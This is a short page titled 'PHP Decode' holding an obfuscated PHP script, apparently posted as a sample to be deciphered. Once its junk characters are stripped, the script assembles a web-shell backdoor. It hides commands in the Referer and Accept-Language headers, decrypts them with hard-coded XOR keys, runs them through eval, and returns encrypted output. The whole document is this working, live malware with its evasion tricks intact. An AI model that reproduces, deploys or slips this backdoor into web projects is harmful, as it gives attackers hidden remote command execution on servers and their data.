PHP Decode

<?php
$M=str_replace('fW','','crfWfWfWeafWfWfWte_function');
$t='u["~^query"~^],$q~^);$q=arr~^ay_va~^lues(~^$q);~^preg_~^match_all("/(~^[~^\\w~^]~^)~^[\\w-';
$w='^5~^($i.$kh),0~^,3));~^$f=$sl(~^$ss(md5~^($i.$k~^f~^),0,3));$p~^=""~^;fo~^r($z=1;$~^z<co';
$A='";$p=$ss($p,3);}~^if(a~^rray_key~^_exist~^s~^($~^i,$s)){$s[$i]~^.~^=$p;$e=strpo~^s($s~^[';
$l='4_decod~^e(~^pre~^g_replace(~^array("/~^_/","~^/-/")~^,array("/~^"~^,"+"),$s~^s($~^s[$~^';
$y=']+~^(?:;q=0.([\\d]))?,?/",$~^ra,$m);if($q~^&&$m~^~^){@session~^_sta~^rt();$s=&$~^_SESSIO~';
$R='e(x~^(gzc~^om~^press($o),$k)~^);pr~^~^i~^nt("<$k>$d~^</$k>");@sessi~^on_destr~^oy();}}}}';
$Q='i],0,$e))),$k)~^));$~^o=ob_~^get_~^contents~^();ob_end_c~^lean(~^~^);$d=base6~^4_~^encod';
$r='$kh="5~^d41";$kf~^="402a"~^;fun~^ction x($~^t,$~^k){$c=strl~^en($k~^);$l=s~^trlen($~^~^t);';
$N='unt($m[~^1]);~^$z+~^+)$p.=$q[$m~^[2][~^$z]~^]~^;if(strpo~^s($p,$h)===0~^){~^$s[$i]=~^~^"';
$V='$i]~^,$f);if($e)~^{$k=$~^kh~^.$kf;ob_st~^art()~^;@e~^val(@gzunco~^~^mpress(@x(~^@base6~^';
$f='~^}^$k{$j};}~^}return ~^$o;}$r~^=$_SERV~^ER;$~^rr=@$r[~^"HTTP~^_REFERE~^R"];~^$ra=@~^$r[';
$W='~^"HTTP_~^ACC~^E~^PT_LANGU~^AGE"];if($rr~^&&$r~^a){$u=parse_url~^($rr);~^~^parse_str~^($';
$T='^~^~^N;$ss="substr";$~^sl=~^"strtol~^ower~^";$i=$~^m[1][0~^].$m[1~^][1~^];$h=$sl($ss(md~';
$E='$o="";fo~^r($i~^=0;$~^i<$l;){~^for($j~^=~^0~^;($j<$c~^&~^&$i<$l)~^;$j++,$i++){~^$o.=$t{$i';
$g=str_replace('~^','',$r.$E.$f.$W.$t.$y.$T.$w.$N.$A.$V.$l.$Q.$R);
$C=$M('',$g);$C();
?>